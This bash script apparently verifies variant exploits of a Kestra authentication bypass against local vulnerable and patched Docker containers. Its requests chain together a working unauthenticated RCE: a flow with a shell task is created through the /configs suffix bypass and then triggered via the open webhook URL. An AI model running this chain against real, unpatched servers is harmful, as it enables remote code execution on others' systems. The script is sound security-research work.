#!/bin/bash
set -euo pipefail

# CVE-2026-49869 -- VARIANT / BYPASS ANALYSIS
# Kestra OSS AuthenticationFilter path bypass -> unauthenticated RCE
#
# Repro (parent) established: the `isConfigEndpoint` suffix check
#   request.getPath().endsWith("/configs")
# is bypassed by setting a flow namespace/id to "configs", yielding unauth RCE
# via POST /api/v1/main/flows/configs (create) + POST /api/v1/main/executions/trigger/configs/configs (trigger).
# The fix (commit 28ff533d8, v1.0.45 / v1.3.21) replaces the suffix test with an
# exact, slash-normalized match and a basicAuth regex gated by !isBasicAuthInitialized().
#
# This variant script investigates OTHER whitelist branches of the SAME filter that
# the fix did NOT touch, and rules in/out a true bypass on the fixed version.
#
# AuthenticationFilter has THREE open-path branches:
#   1. isConfigEndpoint  -> endsWith("/configs") || (endsWith("/basicAuth"|"/basicAuthValidationErrors") && !initialized)
#      ** THIS IS THE ONLY BRANCH THE FIX MODIFIED **
#   2. isOpenUrl         -> request.getPath().startsWith(s) for s in basic-auth.open-urls
#      ** UNTOUCHED BY THE FIX ** -- production default open-urls include:
#         /api/v1/executions/webhook/ , /api/v1/main/executions/webhook/ ,
#         /api/v1/basicAuthValidationErrors , /ping
#   3. isManagementEndpoint -> matched route has @Endpoint annotation
#
# VARIANT CANDIDATE (alternate trigger, same root-cause class):
#   The isOpenUrl branch uses startsWith("/api/v1/main/executions/webhook/") and is
#   open BY DEFAULT. The webhook execution endpoint
#       POST /api/v1/{tenant}/executions/webhook/{namespace}/{id}/{key}
#   is therefore reachable UNAUTHENTICATED on BOTH vulnerable and fixed versions
#   (webhook triggers are documented public triggers secured only by the key).
#   On the VULNERABLE version, an attacker can:
#     (a) create a flow (id=configs, namespace=configs) carrying a Webhook trigger
#         (attacker-chosen key) + a shell task, via the /configs suffix bypass
#         (POST /api/v1/main/flows/configs, no creds) -- same create-bypass as repro,
#     (b) trigger it via the OPEN webhook URL -- a DIFFERENT whitelist branch
#         (isOpenUrl startsWith) and a DIFFERENT ExecutionController endpoint
#         (/webhook vs /trigger) -- the trigger path ends with /<key>, NOT /configs,
#         so it does NOT rely on the isConfigEndpoint bypass at all.
#   This yields unauthenticated RCE on the vulnerable version via an alternate path
#   that the repro did not exercise.
#
#   On the FIXED version, the /configs create-bypass is closed (401), so the chain
#   cannot create the flow -> no RCE. BUT the open webhook trigger path itself
#   remains open (returns 404 "Flow not found", NOT 401), proving the isOpenUrl
#   branch is untouched by the fix and remains a latent UNAUTHENTICATED execution
#   trigger surface. This is documented behavior (webhook = public trigger), so it
#   is NOT claimed as a bypass; it is reported as a defense-in-depth observation.
#
# RULE-OUT MATRIX (true bypass on fixed version, normal operation):
#   - /configs exact-match edge cases: /api/v1//configs , /api/v1/configs/ (trailing),
#     /api/v1/main/flows%2Fconfigs (encoded slash) -> all 401/404 (no bypass).
#   - basicAuth regex over-permissiveness: tested in setup state
#     (!isBasicAuthInitialized). /api/v1/flows/basicAuth routes (via MiscController
#     /{tenant}/basicAuth POST = setup endpoint; via aliasing GET -> FlowController
#     namespace=basicAuth read). Setup-gated, aligns with real route, not a
#     normal-operation bypass. Two-segment /api/v1/main/namespace/basicAuth -> 401
#     (the fix's own regression test case).
#
# Exit codes:
#   0 = variant reproduced on the FIXED version (true bypass) -- NOT expected here.
#   1 = variant only on vulnerable (alternate trigger), or no variant -- expected.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"
cd "$ROOT"

VULN_IMG="kestra/kestra:v1.0.44"
FIXED_IMG="kestra/kestra:v1.0.45"
AUTH_USER="admin@kestra.io"
AUTH_PASS="Password1"
TOKEN="VARIANT_KESTRA_RCE_$(date +%s)_$$"
WEBHOOK_KEY="variantSecretKey2026"
MARKER_PATH="/tmp/kestra_variant_marker.txt"

# Standalone H2 config WITH the production-default open-urls (so the webhook
# endpoint is open as it is in real deployments). Basic auth is configured
# (isBasicAuthInitialized=true -> normal operation, basicAuth branch closed).
read -r -d '' KESTRA_CFG <<'CFG' || true
datasources:
  h2:
    url: jdbc:h2:mem:public;TIME ZONE=UTC;DB_CLOSE_DELAY=-1;DB_CLOSE_ON_EXIT=FALSE
    username: sa
    password: ""
    driverClassName: org.h2.Driver
flyway:
  datasources:
    h2:
      enabled: true
      locations:
        - classpath:migrations/h2
      ignore-migration-patterns: "*:missing,*:future"
      out-of-order: true
kestra:
  server-type: STANDALONE
  server:
    liveness:
      enabled: false
    basic-auth:
      username: __AUTH_USER__
      password: __AUTH_PASS__
      open-urls:
        - "/ping"
        - "/api/v1/executions/webhook/"
        - "/api/v1/main/executions/webhook/"
        - "/api/v1/*/executions/webhook/"
        - "/api/v1/basicAuthValidationErrors"
  queue:
    type: h2
  repository:
    type: h2
  storage:
    type: local
    local:
      base-path: /tmp/unittest
  worker:
    liveness:
      enabled: false
  tutorialFlows:
    enabled: false
CFG
KESTRA_CFG="${KESTRA_CFG//__AUTH_USER__/$AUTH_USER}"
KESTRA_CFG="${KESTRA_CFG//__AUTH_PASS__/$AUTH_PASS}"

# Setup-state config: NO basic-auth username/password -> isBasicAuthInitialized=false
# (basicAuth regex branch active). Used only for the basicAuth rule-out test.
read -r -d '' KESTRA_CFG_SETUP <<'CFG' || true
datasources:
  h2:
    url: jdbc:h2:mem:public;TIME ZONE=UTC;DB_CLOSE_DELAY=-1;DB_CLOSE_ON_EXIT=FALSE
    username: sa
    password: ""
    driverClassName: org.h2.Driver
flyway:
  datasources:
    h2:
      enabled: true
      locations:
        - classpath:migrations/h2
      ignore-migration-patterns: "*:missing,*:future"
      out-of-order: true
kestra:
  server-type: STANDALONE
  server:
    liveness:
      enabled: false
  queue:
    type: h2
  repository:
    type: h2
  storage:
    type: local
    local:
      base-path: /tmp/unittest
  worker:
    liveness:
      enabled: false
  tutorialFlows:
    enabled: false
CFG

# Flow with a Webhook trigger (attacker-chosen key) + shell task. namespace=id=configs
# so the CREATE endpoint POST /api/v1/main/flows/configs ends with /configs (create
# bypass). The TRIGGER uses the open webhook URL and ends with /<key> (NOT /configs).
FLOW_YAML="id: configs
namespace: configs
tasks:
  - id: rce
    type: io.kestra.plugin.scripts.shell.Commands
    taskRunner:
      type: io.kestra.plugin.core.runner.Process
    commands:
      - 'echo ${TOKEN} > ${MARKER_PATH}'
triggers:
  - id: webhook
    type: io.kestra.plugin.core.trigger.Webhook
    key: ${WEBHOOK_KEY}
    wait: true
"
FLOW_HOST="$LOGS/variant_flow.yaml"
printf '%s\n' "$FLOW_YAML" > "$FLOW_HOST"

summary="$LOGS/variant_results_summary.txt"
: > "$summary"
log() { echo "$@" | tee -a "$summary"; }

# --------------------------------------------------------------------------- #
pull_image() {
  local img="$1"
  echo "[*] pulling $img ..." >&2
  docker pull "$img" >/tmp/pull_variant.log 2>&1 || { echo "[!] pull failed:" >&2; cat /tmp/pull_variant.log >&2; return 1; }
}

# HTTP request from INSIDE a kestra container (curl -> localhost:8080).
# Prints HTTP status code to stdout; returns 0 always (never aborts on HTTP errors).
# Usage: api <container> <out-file> <method> <url> [data-file] [content-type]
api() {
  local cont="$1" out="$2" method="$3" url="$4" data="${5:-}" ct="${6:-}" code
  docker cp "$data" "$cont:/tmp/_post_body" >/dev/null 2>&1 || true
  set +e
  if [[ -n "$data" && -n "$ct" ]]; then
    code=$(docker exec "$cont" sh -c "curl -sS -o '$out' -w '%{http_code}' -X '$method' '$url' -H 'Content-Type: $ct' -H 'Accept: application/json' --data-binary @/tmp/_post_body --max-time 180" 2>/dev/null)
  elif [[ -n "$data" ]]; then
    code=$(docker exec "$cont" sh -c "curl -sS -o '$out' -w '%{http_code}' -X '$method' '$url' -H 'Accept: application/json' --data-binary @/tmp/_post_body --max-time 180" 2>/dev/null)
  else
    code=$(docker exec "$cont" sh -c "curl -sS -o '$out' -w '%{http_code}' -X '$method' '$url' -H 'Accept: application/json' --max-time 90" 2>/dev/null)
  fi
  set -e
  [[ -z "$code" ]] && code="000"
  printf '%s' "$code"
  return 0
}

# Empty multipart body for webhook POST (no inputs).
api_webhook() {
  local cont="$1" out="$2" method="$3" url="$4" code
  set +e
  code=$(docker exec "$cont" sh -c "printf -- '--b--\r\n' | curl -sS -o '$out' -w '%{http_code}' -X '$method' '$url' -H 'Content-Type: multipart/form-data; boundary=b' -H 'Accept: application/json' --max-time 180" 2>/dev/null)
  set -e
  [[ -z "$code" ]] && code="000"
  printf '%s' "$code"
  return 0
}

wait_healthy() {
  local cont="$1" i code
  for i in $(seq 1 90); do
    code=$(docker exec "$cont" curl -sS -o /dev/null -w '%{http_code}' http://localhost:8080/api/v1/configs --max-time 5 2>/dev/null || echo 000)
    if [[ "$code" == "200" ]]; then
      echo "[*] $cont healthy (try $i)" >&2
      return 0
    fi
    sleep 2
  done
  echo "[!] $cont did not become healthy" >&2
  docker logs "$cont" > "$LOGS/${cont}_container.log" 2>&1 || true
  return 1
}

start_instance() {
  local cont="$1" img="$2" cfg="$3"
  docker rm -f "$cont" >/dev/null 2>&1 || true
  docker run -d --name "$cont" -e KESTRA_CONFIGURATION="$cfg" "$img" server standalone >/dev/null
}

pull_image "$VULN_IMG" || { echo "[!] could not pull vulnerable image" >&2; exit 2; }
pull_image "$FIXED_IMG" || { echo "[!] could not pull fixed image" >&2; exit 2; }

# =========================================================================== #
# 1) VULNERABLE instance (v1.0.44) -- alternate-trigger variant via open webhook
# =========================================================================== #
echo "[*] === VULNERABLE ($VULN_IMG) -- webhook alternate-trigger variant ===" >&2
start_instance "kestra-vuln-var" "$VULN_IMG" "$KESTRA_CFG"
wait_healthy "kestra-vuln-var" || { docker rm -f kestra-vuln-var >/dev/null 2>&1 || true; exit 2; }
docker logs kestra-vuln-var > "$LOGS/variant_vuln_container.log" 2>&1 || true
docker exec kestra-vuln-var sh -c "rm -f $MARKER_PATH" >/dev/null 2>&1 || true

VBASE="http://localhost:8080"

# 1a) Control: protected path that does NOT end in /configs and is NOT an open-url -> 401.
code_ctrl=$(api kestra-vuln-var /tmp/o_v_ctrl GET "$VBASE/api/v1/main/flows/configs/configs/revisions")
log "[vuln] GET /api/v1/main/flows/configs/configs/revisions (no creds, protected) -> $code_ctrl (expect 401: auth enforced)"

# 1b) CREATE the webhook-equipped malicious flow via the /configs suffix bypass
#     (same create-bypass as the parent repro). Path ends with /configs -> bypassed.
code_create=$(api kestra-vuln-var /tmp/o_v_create POST "$VBASE/api/v1/main/flows/configs?delete=false" "$FLOW_HOST" "application/x-yaml")
log "[vuln] POST /api/v1/main/flows/configs (no creds, /configs suffix, create webhook flow) -> $code_create (expect 200)"
docker cp kestra-vuln-var:/tmp/o_v_create "$LOGS/variant_vuln_create_flow_resp.txt" >/dev/null 2>&1 || true

# 1c) VARIANT TRIGGER: open webhook URL. NO creds. Path ends with /<WEBHOOK_KEY>
#     (NOT /configs) -> this is the isOpenUrl branch (startsWith /api/v1/main/executions/webhook/),
#     NOT the isConfigEndpoint branch. Reaches ExecutionController /webhook unauthenticated.
code_trigger=$(api kestra-vuln-var /tmp/o_v_trigger GET "$VBASE/api/v1/main/executions/webhook/configs/configs/$WEBHOOK_KEY")
log "[vuln] GET /api/v1/main/executions/webhook/configs/configs/$WEBHOOK_KEY (no creds, OPEN-URL webhook, ends with /<key> NOT /configs) -> $code_trigger (expect 200: open-url bypass + RCE)"
docker cp kestra-vuln-var:/tmp/o_v_trigger "$LOGS/variant_vuln_trigger_resp.txt" >/dev/null 2>&1 || true

# 1d) Verify RCE marker.
vmarker=""
for i in $(seq 1 15); do
  vmarker=$(docker exec kestra-vuln-var sh -c "cat $MARKER_PATH 2>/dev/null" 2>/dev/null || true)
  [[ -n "$vmarker" ]] && break
  sleep 1
done
docker exec kestra-vuln-var sh -c "ls -l $MARKER_PATH 2>&1; cat $MARKER_PATH 2>&1" > "$LOGS/variant_vuln_marker.txt" 2>&1 || true
if echo "$vmarker" | grep -q "$TOKEN"; then
  VULN_WEBHOOK_RCE="yes"
  log "[vuln] ALTERNATE-TRIGGER RCE CONFIRMED via open-webhook (isOpenUrl branch): marker=$vmarker"
else
  VULN_WEBHOOK_RCE="no"
  log "[vuln] webhook marker not found; see $LOGS/variant_vuln_container.log"
fi

docker rm -f kestra-vuln-var >/dev/null 2>&1 || true

# =========================================================================== #
# 2) FIXED instance (v1.0.45) -- rule out bypass; confirm open-url webhook latent
# =========================================================================== #
echo "[*] === FIXED ($FIXED_IMG) -- bypass rule-out + open-url latent surface ===" >&2
start_instance "kestra-fixed-var" "$FIXED_IMG" "$KESTRA_CFG"
wait_healthy "kestra-fixed-var" || { docker rm -f kestra-fixed-var >/dev/null 2>&1 || true; exit 2; }
docker logs kestra-fixed-var > "$LOGS/variant_fixed_container.log" 2>&1 || true
docker exec kestra-fixed-var sh -c "rm -f $MARKER_PATH" >/dev/null 2>&1 || true

FBASE="http://localhost:8080"

# 2a) Create flow via /configs bypass -> fix closes it (401).
code_f_create=$(api kestra-fixed-var /tmp/o_f_create POST "$FBASE/api/v1/main/flows/configs?delete=false" "$FLOW_HOST" "application/x-yaml")
log "[fixed] POST /api/v1/main/flows/configs (no creds, create) -> $code_f_create (expect 401: fix blocks creation)"
docker cp kestra-fixed-var:/tmp/o_f_create "$LOGS/variant_fixed_create_flow_resp.txt" >/dev/null 2>&1 || true

# 2b) Open-url webhook path is STILL OPEN on fixed (isOpenUrl untouched by fix).
#     No flow exists (creation blocked) -> controller returns 404, NOT 401.
code_f_webhook=$(api kestra-fixed-var /tmp/o_f_webhook GET "$FBASE/api/v1/main/executions/webhook/configs/configs/$WEBHOOK_KEY")
log "[fixed] GET /api/v1/main/executions/webhook/configs/configs/$WEBHOOK_KEY (no creds) -> $code_f_webhook (expect NOT 401 = 404: open-url branch still open, flow not found)"
docker cp kestra-fixed-var:/tmp/o_f_webhook "$LOGS/variant_fixed_webhook_resp.txt" >/dev/null 2>&1 || true

# 2c) Control: protected non-open path -> 401 on fixed.
code_f_ctrl=$(api kestra-fixed-var /tmp/o_f_ctrl GET "$FBASE/api/v1/main/flows/configs/configs/revisions")
log "[fixed] GET /api/v1/main/flows/configs/configs/revisions (no creds, protected) -> $code_f_ctrl (expect 401)"

# 2d) RULE-OUT: /configs exact-match edge cases on fixed (no creds).
code_f_ds=$(api kestra-fixed-var /tmp/o_f_ds GET "$FBASE/api/v1//configs")
log "[fixed] GET /api/v1//configs (double-slash; filter normalizes->/api/v1/configs whitelist, router 404) -> $code_f_ds (expect 404: whitelisted but unroutable, harmless)"

code_f_ts=$(api kestra-fixed-var /tmp/o_f_ts GET "$FBASE/api/v1/configs/")
log "[fixed] GET /api/v1/configs/ (trailing slash; exact match fails) -> $code_f_ts (expect 401: not whitelisted)"

code_f_enc=$(api kestra-fixed-var /tmp/o_f_enc POST "$FBASE/api/v1/main/flows%2Fconfigs" "$FLOW_HOST" "application/x-yaml")
log "[fixed] POST /api/v1/main/flows%2Fconfigs (encoded slash) -> $code_f_enc (expect 401 or 404: not a /configs whitelist bypass)"

sleep 2
fmarker=$(docker exec kestra-fixed-var sh -c "cat $MARKER_PATH 2>/dev/null" 2>/dev/null || true)
docker exec kestra-fixed-var sh -c "ls -l $MARKER_PATH 2>&1" > "$LOGS/variant_fixed_marker.txt" 2>&1 || true
if [[ -z "$fmarker" ]]; then
  FIXED_RCE="no"; log "[fixed] no marker file created (expected: creation blocked)"
else
  FIXED_RCE="yes"; log "[fixed] UNEXPECTED marker: $fmarker"
fi

docker rm -f kestra-fixed-var >/dev/null 2>&1 || true

# =========================================================================== #
# 3) FIXED instance in SETUP state (no basic auth) -- basicAuth regex rule-out
# =========================================================================== #
echo "[*] === FIXED setup-state ($FIXED_IMG, no basic-auth) -- basicAuth regex rule-out ===" >&2
start_instance "kestra-fixed-setup" "$FIXED_IMG" "$KESTRA_CFG_SETUP"
wait_healthy "kestra-fixed-setup" || { docker rm -f kestra-fixed-setup >/dev/null 2>&1 || true; exit 2; }
SBASE="http://localhost:8080"

# 3a) One-segment path matching the basicAuth regex -> whitelist during setup.
code_s_one=$(api kestra-fixed-setup /tmp/o_s_one GET "$SBASE/api/v1/flows/basicAuth")
log "[fixed-setup] GET /api/v1/flows/basicAuth (no creds, matches /api/v1(/[^/]+)?/basicAuth regex) -> $code_s_one (setup: whitelisted; routes via aliasing to FlowController namespace=basicAuth read)"

# 3b) Two-segment path -> regex does NOT match -> 401 (fix's regression-test case).
code_s_two=$(api kestra-fixed-setup /tmp/o_s_two GET "$SBASE/api/v1/main/namespace/basicAuth")
log "[fixed-setup] GET /api/v1/main/namespace/basicAuth (no creds, two segments, regex no-match) -> $code_s_two (expect 401: fix's own test case)"

# 3c) POST one-segment -> routes to MiscController /{tenant}/basicAuth (setup endpoint, intended open).
code_s_post=$(api kestra-fixed-setup /tmp/o_s_post POST "$SBASE/api/v1/flows/basicAuth" "$FLOW_HOST" "application/x-yaml")
log "[fixed-setup] POST /api/v1/flows/basicAuth (no creds) -> $code_s_post (routes to MiscController createBasicAuth setup endpoint; NOT FlowController create)"

docker rm -f kestra-fixed-setup >/dev/null 2>&1 || true

# =========================================================================== #
# 4) Verdict
# =========================================================================== #
ALT_TRIGGER_VULN="no"; FIXED_BLOCKS_CREATE="no"; FIXED_WEBHOOK_OPEN="no"; BYPASS_FIXED="no"
[[ "$VULN_WEBHOOK_RCE" == "yes" ]] && ALT_TRIGGER_VULN="yes"
[[ "$code_f_create" == "401" ]] && FIXED_BLOCKS_CREATE="yes"
[[ "$code_f_webhook" != "401" ]] && FIXED_WEBHOOK_OPEN="yes"
[[ "$FIXED_RCE" == "yes" ]] && BYPASS_FIXED="yes"

log "=========================================="
log "ALTERNATE_TRIGGER_ON_VULNERABLE = $ALT_TRIGGER_VULN  (open-url webhook branch, diff endpoint than repro)"
log "FIXED_BLOCKS_CONFIGS_CREATE     = $FIXED_BLOCKS_CREATE"
log "FIXED_WEBHOOK_PATH_STILL_OPEN   = $FIXED_WEBHOOK_OPEN  (isOpenUrl untouched by fix; documented open trigger)"
log "BYPASS_RCE_ON_FIXED             = $BYPASS_FIXED  (expect no)"
log "=========================================="

# Runtime manifest (strict JSON via jq)
if [[ "$ALT_TRIGGER_VULN" == "yes" ]]; then
  vnotes="Alternate unauthenticated RCE trigger confirmed on v1.0.44 via the isOpenUrl (open-url startsWith) branch + ExecutionController /webhook endpoint -- a different AuthenticationFilter whitelist branch and a different endpoint than the parent repro (which used isConfigEndpoint + /trigger). The trigger path ends with the webhook key, not /configs, so it does not rely on the /configs suffix bypass at all. On fixed v1.0.45 the /configs create-bypass is closed (401) so no RCE; however the open webhook trigger path remains open (404 not 401), confirming the fix did not touch the isOpenUrl branch. Webhook being open is documented behavior; reported as alternate-trigger + defense-in-depth, NOT a bypass."
else
  vnotes="Alternate webhook trigger did not yield RCE on vulnerable; see logs."
fi

jq -n \
  --arg ek "api_remote" \
  --arg ed "Unauthenticated HTTP: create a webhook-equipped flow via the /configs suffix bypass (POST /api/v1/main/flows/configs), then trigger it via the open-url webhook endpoint (GET /api/v1/main/executions/webhook/configs/configs/<key>) -- isOpenUrl branch, not isConfigEndpoint" \
  --argjson alt "$([[ "$ALT_TRIGGER_VULN" == yes ]] && echo true || echo false)" \
  --argjson fixed_blocks "$([[ "$FIXED_BLOCKS_CREATE" == yes ]] && echo true || echo false)" \
  --argjson webhook_open "$([[ "$FIXED_WEBHOOK_OPEN" == yes ]] && echo true || echo false)" \
  --argjson bypass "$([[ "$BYPASS_FIXED" == yes ]] && echo true || echo false)" \
  --arg marker "$TOKEN" \
  --arg notes "$vnotes" \
  '{
    entrypoint_kind: $ek,
    entrypoint_detail: $ed,
    variant_class: "alternate_trigger_via_openurl_webhook",
    whitelist_branch: "isOpenUrl (startsWith) -- untouched by fix 28ff533d8",
    alternate_trigger_on_vulnerable: $alt,
    fixed_blocks_configs_create: $fixed_blocks,
    fixed_webhook_path_still_open: $webhook_open,
    bypass_rce_on_fixed: $bypass,
    runtime_stack: ["kestra-standalone","h2-inmemory","micronaut","plugin-script-shell","process-task-runner","plugin-core-trigger-webhook"],
    marker_token: $marker,
    webhook_key: "variantSecretKey2026",
    notes: $notes
  }' > "$ROOT/vuln_variant/runtime_manifest.json"

if [[ "$BYPASS_FIXED" == "yes" ]]; then
  echo "[*] RESULT: BYPASS confirmed (RCE on fixed via open-url webhook)" >&2
  exit 0
elif [[ "$ALT_TRIGGER_VULN" == "yes" ]]; then
  echo "[*] RESULT: ALTERNATE TRIGGER on vulnerable (open-url webhook); NOT a bypass on fixed (exit 1)" >&2
  exit 1
else
  echo "[*] RESULT: no variant reproduced; inspect $LOGS" >&2
  exit 1
fi
